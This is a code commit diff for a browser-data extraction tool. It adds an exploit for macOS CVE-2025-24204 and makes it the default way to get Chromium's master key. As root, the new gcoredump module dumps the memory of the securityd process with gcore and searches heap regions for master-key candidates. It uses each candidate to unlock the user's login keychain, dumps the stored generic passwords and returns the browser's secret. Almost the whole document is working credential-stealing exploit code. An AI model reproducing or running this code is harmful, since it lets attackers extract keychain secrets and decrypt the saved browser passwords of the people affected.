feat: Decrypt the browser master key on macOS via CVE-2025-24204 (#494)

* feat: Decrypt the browser master key on macOS via CVE-2025-24204

* fix: resolve lint warnings and stabilize tests

* feat: default to gcoredump key extraction on macOS

Author: ac0d3r

browser/chromium/chromium_darwin.go

@@ -11,6 +11,7 @@ import (
 	"os/exec"
 	"strings"
 
+	"github.com/moond4rk/hackbrowserdata/browser/exploit/gcoredump"
 	"github.com/moond4rk/hackbrowserdata/crypto"
 	"github.com/moond4rk/hackbrowserdata/log"
 	"github.com/moond4rk/hackbrowserdata/types"
@@ -24,6 +25,18 @@ var (
 func (c *Chromium) GetMasterKey() ([]byte, error) {
 	// don't need chromium key file for macOS
 	defer os.Remove(types.ChromiumKey.TempFilename())
+
+	// Try get the master key via gcoredump(CVE-2025-24204)
+	secret, err := gcoredump.DecryptKeychain(c.storage)
+	if err == nil && secret != "" {
+		log.Debugf("get master key via gcoredump(CVE-2025-24204) success, browser %s", c.name)
+		if key, err := c.parseSecret([]byte(secret)); err == nil {
+			return key, nil
+		}
+	} else {
+		log.Warnf("get master key via gcoredump(CVE-2025-24204) failed: %v, skipping...", err)
+	}
+
 	// Get the master key from the keychain
 	// $ security find-generic-password -wa 'Chrome'
 	var (
@@ -43,10 +56,15 @@ func (c *Chromium) GetMasterKey() ([]byte, error) {
 		return nil, errors.New(stderr.String())
 	}
 
-	secret := bytes.TrimSpace(stdout.Bytes())
+	return c.parseSecret(stdout.Bytes())
+}
+
+func (c *Chromium) parseSecret(secret []byte) ([]byte, error) {
+	secret = bytes.TrimSpace(secret)
 	if len(secret) == 0 {
 		return nil, errWrongSecurityCommand
 	}
+
 	salt := []byte("saltysalt")
 	// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
 	key := crypto.PBKDF2Key(secret, salt, 1003, 16, sha1.New)

browser/exploit/gcoredump/gcoredump.go

@@ -0,0 +1,227 @@
+//go:build darwin
+
+package gcoredump
+
+// CVE-2025-24204
+// Logic ported from https://github.com/FFRI/CVE-2025-24204/tree/main/decrypt-keychain
+// https://support.apple.com/en-us/122373
+
+import (
+	"debug/macho"
+	"encoding/binary"
+	"errors"
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strconv"
+	"strings"
+	"time"
+	"unsafe"
+
+	"golang.org/x/sys/unix"
+
+	"github.com/moond4rk/hackbrowserdata/log"
+	"github.com/moond4rk/hackbrowserdata/utils/chainbreaker"
+)
+
+var (
+	homeDir, _        = os.UserHomeDir()
+	LoginKeychainPath = homeDir + "/Library/Keychains/login.keychain-db"
+)
+
+func GetMacOSVersion() string {
+	v, err := unix.Sysctl("kern.osproductversion")
+	if err == nil {
+		return v
+	}
+	return ""
+}
+
+func FindProcessByName(name string, forceRoot bool) (int, error) {
+	buf, err := unix.SysctlRaw("kern.proc.all")
+	if err != nil {
+		return 0, fmt.Errorf("sysctl kern.proc.all failed: %w", err)
+	}
+
+	kinfoSize := int(unsafe.Sizeof(unix.KinfoProc{}))
+	if len(buf)%kinfoSize != 0 {
+		return 0, fmt.Errorf("sysctl kern.proc.all returned invalid data length")
+	}
+
+	count := len(buf) / kinfoSize
+	for i := 0; i < count; i++ {
+		proc := (*unix.KinfoProc)(unsafe.Pointer(&buf[i*kinfoSize]))
+		// P_comm is [16]byte on Darwin (in newer x/sys/unix versions)
+		pname := byteSliceToString(proc.Proc.P_comm[:])
+		if pname == name {
+			// Note: P_ppid is in Eproc on some versions, but usually in ExternProc.
+			// In golang.org/x/sys/unix for Darwin, ExternProc has P_ppid.
+			// If P_ppid is missing, we can rely on P_ruid.
+			if !forceRoot || proc.Eproc.Pcred.P_ruid == 0 {
+				return int(proc.Proc.P_pid), nil
+			}
+		}
+	}
+	return 0, fmt.Errorf("securityd process not found")
+}
+
+type addressRange struct {
+	start uint64
+	end   uint64
+}
+
+func DecryptKeychain(storagename string) (string, error) {
+	if os.Geteuid() != 0 {
+		return "", errors.New("requires root privileges")
+	}
+
+	// find securityd PID
+	pid, err := FindProcessByName("securityd", true)
+	if err != nil {
+		return "", fmt.Errorf("failed to find securityd pid: %w", err)
+	}
+
+	corePath := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano()))
+	defer os.Remove(corePath)
+
+	// dump securityd memory:
+	// gcore -d -s -v -o core_path PID
+	cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePath, strconv.Itoa(pid))
+	if err := cmd.Run(); err != nil {
+		return "", fmt.Errorf("failed to dump securityd memory: %w", err)
+	}
+
+	// find MALLOC_SMALL regions
+	regions, err := findMallocSmallRegions(pid)
+	if err != nil {
+		return "", fmt.Errorf("failed to find malloc small regions: %w", err)
+	}
+
+	// open core dump
+	cmf, err := macho.Open(corePath)
+	if err != nil {
+		return "", fmt.Errorf("failed to open core dump: %w", err)
+	}
+	defer cmf.Close()
+
+	// scan regions
+	var candidates []string
+	seen := make(map[string]struct{})
+	for _, region := range regions {
+		// read region data
+		data, vaddr, err := getMallocSmallRegionData(cmf, region)
+		if err != nil {
+			// Region might not be in core dump or other error, skip
+			continue
+		}
+		// Search for pattern
+		// 0x18 (8 bytes) followed by pointer (8 bytes)
+		for i := 0; i < len(data)-16; i += 8 {
+			val := binary.LittleEndian.Uint64(data[i : i+8])
+			if val == 0x18 {
+				ptr := binary.LittleEndian.Uint64(data[i+8 : i+16])
+				if ptr >= region.start && ptr <= region.end {
+					offset := ptr - vaddr
+					if offset+0x18 <= uint64(len(data)) {
+						masterKey := make([]byte, 0x18)
+						copy(masterKey, data[offset:offset+0x18])
+
+						keyStr := fmt.Sprintf("%x", masterKey)
+						if _, found := seen[keyStr]; !found {
+							candidates = append(candidates, keyStr)
+							seen[keyStr] = struct{}{}
+							log.Debugf("Found master key candidate: %s @ 0x%x", keyStr, ptr)
+						}
+					}
+				}
+			}
+		}
+
+	}
+
+	// fuzz master key candidates
+	for _, candidate := range candidates {
+		kc, err := chainbreaker.New(LoginKeychainPath, candidate)
+		if err != nil {
+			log.Debugf("Failed to unlock keychain: %v", err)
+			continue
+		}
+
+		records, err := kc.DumpGenericPasswords()
+		if err != nil {
+			log.Debugf("Failed to unlock keychain: %v", err)
+			continue
+		}
+		for _, rec := range records {
+			if rec.Account == storagename {
+				// TODO decode base64 password
+				if rec.PasswordBase64 {
+				}
+				return rec.Password, nil
+			}
+		}
+	}
+
+	return "", nil
+}
+
+func findMallocSmallRegions(pid int) ([]addressRange, error) {
+	cmd := exec.Command("vmmap", "--wide", strconv.Itoa(pid))
+	output, err := cmd.Output()
+	if err != nil {
+		return nil, err
+	}
+
+	var regions []addressRange
+	lines := strings.Split(string(output), "\n")
+	for _, line := range lines {
+		line = strings.TrimSpace(line)
+		if strings.HasPrefix(line, "MALLOC_SMALL") {
+			parts := strings.Fields(line)
+			if len(parts) < 2 {
+				continue
+			}
+			rangeStr := parts[1]
+			rangeParts := strings.Split(rangeStr, "-")
+			if len(rangeParts) != 2 {
+				continue
+			}
+			start, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[0], "0x"), 16, 64)
+			if err != nil {
+				continue
+			}
+			end, err := strconv.ParseUint(strings.TrimPrefix(rangeParts[1], "0x"), 16, 64)
+			if err != nil {
+				continue
+			}
+			regions = append(regions, addressRange{start: start, end: end})
+		}
+	}
+	return regions, nil
+}
+
+func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byte, uint64, error) {
+	for _, seg := range f.Loads {
+		if s, ok := seg.(*macho.Segment); ok {
+			if s.Addr == region.start && s.Addr+s.Memsz == region.end {
+				data := make([]byte, s.Filesz)
+				_, err := s.ReadAt(data, 0)
+				if err != nil {
+					return nil, 0, err
+				}
+				return data, s.Addr, nil
+			}
+		}
+	}
+	return nil, 0, fmt.Errorf("region not found in core dump")
+}
+
+func byteSliceToString(s []byte) string {
+	for i, v := range s {
+		if v == 0 {
+			return string(s[:i])
+		}
+	}
+	return string(s)
+}